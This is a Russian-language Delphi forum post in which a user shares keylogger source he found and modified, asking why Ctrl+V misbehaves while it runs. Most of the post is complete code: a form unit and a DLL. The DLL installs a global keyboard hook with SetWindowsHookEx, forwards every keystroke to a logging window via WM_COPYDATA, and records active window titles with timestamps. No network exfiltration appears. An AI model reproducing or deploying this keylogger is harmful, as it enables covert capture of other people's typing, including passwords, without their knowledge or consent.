Среда, 28.06.2017, 11:45 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024 
delfcode » Delphi » Вопросы по Delphi » Что-то не так с SendMessage
Что-то не так с SendMessage
ETUN4Дата: Пятница, 27.02.2015, 00:28 | Сообщение # 1
Был не раз
Зарегистрирован: 13.02.2015
Группа: Пользователи
Сообщений: 16
Статус: Offline
Всем привет!)
Вот нашёл пример кейлоггера, немного его переделал, и вот что у меня вышло. Когда он работает, комбинация клавиш для вставки Ctrl+V срабатывает примерно один раз из шести. Заранее скопированный текс вставляется в поле мемо кейлоггера, а по теории должен бы в оба окна.
Вот код программы:
Код

unit UMain;
interface

uses Windows, Messages, SysUtils, Forms,  StdCtrls, Classes, Controls;

type
     TForm1 = class(TForm)
       TmpMemo: TMemo;
       procedure FormClose(Sender: TObject; var Action: TCloseAction);
       procedure FormCreate(Sender: TObject);
     public
       function VentanaActiva: string;
       procedure OnWmCopyData(var Msg: TMessage);message WM_COPYDATA;
end;

Const
     DllName='HooK_DLL';
Var
     Form1: TForm1;
     StrVentanaActiva: String;

Function BeginKeybrdHook(HDest: THandle):Boolean;stdcall;external DllName;
Procedure EndKeybrdHook ;stdcall;external DllName;

implementation

{$R *.dfm}
type
     PKeybrdInfo = ^TKeybrdInfo;
     TKeybrdInfo = record
       VirtualKey : Integer;
       KeyStore   : Integer;
       CurrentProcessId: Cardinal;
       CurrentControl: Cardinal;
       WindowHwnd: Cardinal;
     end;

procedure TForm1.OnWmCopyData(var Msg: TMessage);
begin
     if Msg.WParam = 1 then
      with PKeybrdInfo(PCopyDataStruct(Msg.LParam)^.lpData)^ do
      begin
        if VentanaActiva()<>StrVentanaActiva then
        begin
          StrVentanaActiva:=VentanaActiva();
          TmpMemo.Lines.Add('--->' + StrVentanaActiva + ' ' + TimeToStr(Now));
        end;

        ActivateKeyboardLayout(GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow,nil)),0);

        if (KeyStore and $80000000)=0 then
        begin
          PostMessage(TmpMemo.Handle,WM_KEYDOWN,VirtualKey,KeyStore);
        end
        else
        begin
          PostMessage(TmpMemo.Handle,WM_KEYUP,VirtualKey,KeyStore);
        end;
      end;
end;

function TForm1.VentanaActiva: string;
var
      Handle:THandle;
      Len:LongInt;
      Title:string;
begin
      Handle:=GetForegroundWindow;
      Len:=GetWindowTextLength(Handle) + 1;
      SetLength(Title,Len);
      GetWindowText(Handle,PChar(Title),Len);
      If Length(TrimRight(Title)) = 0 then
      begin
        Title:= 'Unknow Window';
      end;
      Result:=TrimRight(Title);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     EndKeybrdHook;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
     BeginKeybrdHook(Handle);
end;

end.


И вот длл:
Код

library HooK_DLL;

uses SysUtils, Windows, Messages, Classes, Dialogs;

{$R *.res}
type
     PTMapFile = ^TMapFile;
     TMapFile = record
       HKeybrdHook:  Cardinal;
       HKeybrdDestWindow : Cardinal;
     end;

     TKeybrdInfo = record
       VirtualKey : Integer;
       KeyStore   : Integer;
       CurrentProcessId: Cardinal;
       CurrentControl: Cardinal;
       WindowHwnd: Cardinal;
     end;

var
     HMapFile   : Cardinal=0;
     PMapFile   : PTMapFile=nil;

function KeyboardProc(Code: integer; VirtualKeyCode: WPARAM; KeyStoreMsgInfo: LPARAM):LRESULT; stdcall;
var
     KeybrdInfo: TKeybrdInfo;
     CopyDataStruct: TCopyDataStruct;
begin
     Result:=0;
     if Code= HC_ACTION then
     begin
       KeybrdInfo.VirtualKey:= VirtualKeyCode;
       KeybrdInfo.KeyStore  := KeyStoreMsgInfo;
       KeybrdInfo.CurrentProcessId:= GetCurrentProcessId;
       KeybrdInfo.CurrentControl:= GetFocus;
       KeybrdInfo.WindowHwnd:= GetActiveWindow;
       CopyDataStruct.cbData:= SizeOf(KeybrdInfo);
       CopyDataStruct.lpData:= @KeybrdInfo;
       SendMessage(PMapFile^.HKeybrdDestWindow,WM_COPYDATA,1,LongInt(@CopyDataStruct));
     end;
     if Code< HC_ACTION then Result:= CallNextHookEx(PMapFile^.HKeybrdHook,Code,VirtualKeyCode,KeyStoreMsgInfo);
end;

function BeginKeybrdHook(HDest: THandle): Boolean;stdcall;
begin
     Result:= False;
     if (HDest<>0) and (PMapFile^.HKeybrdHook=0) then
     begin
       PMapFile^.HKeybrdDestWindow:= HDest;
       PMapFile^.HKeybrdHook:= SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,HInstance,0);
       Result:= True;
     end;
end;

procedure EndKeybrdHook;stdcall;
begin
     UnhookWindowsHookEx(PMapFile^.HKeybrdHook);
     PMapFile^.HKeybrdDestWindow:=0;
     PMapFile^.HKeybrdHook:=0;
end;

Procedure LibraryProc(Reason:Integer);
begin
     case Reason of
       DLL_PROCESS_ATTACH:
        Begin
         HMapFile := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,sizeof(TMapFile),'NMB HOOK');
         PMapFile := MapViewOfFile(HMapFile,FILE_MAP_WRITE,0, 0,0);
        end;
       DLL_PROCESS_DETACH:
        begin
         UnmapViewOfFile(PMapFile);
         CloseHandle(HMapFile);    
        end;
     end;
end;

Exports BeginKeybrdHook;
Exports EndKeybrdHook;

begin
     DllProc:= @LibraryProc;     
     LibraryProc(DLL_PROCESS_ATTACH);
end.


Сообщение отредактировал ETUN4 - Пятница, 27.02.2015, 17:56
 
delfcode » Delphi » Вопросы по Delphi » Что-то не так с SendMessage
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz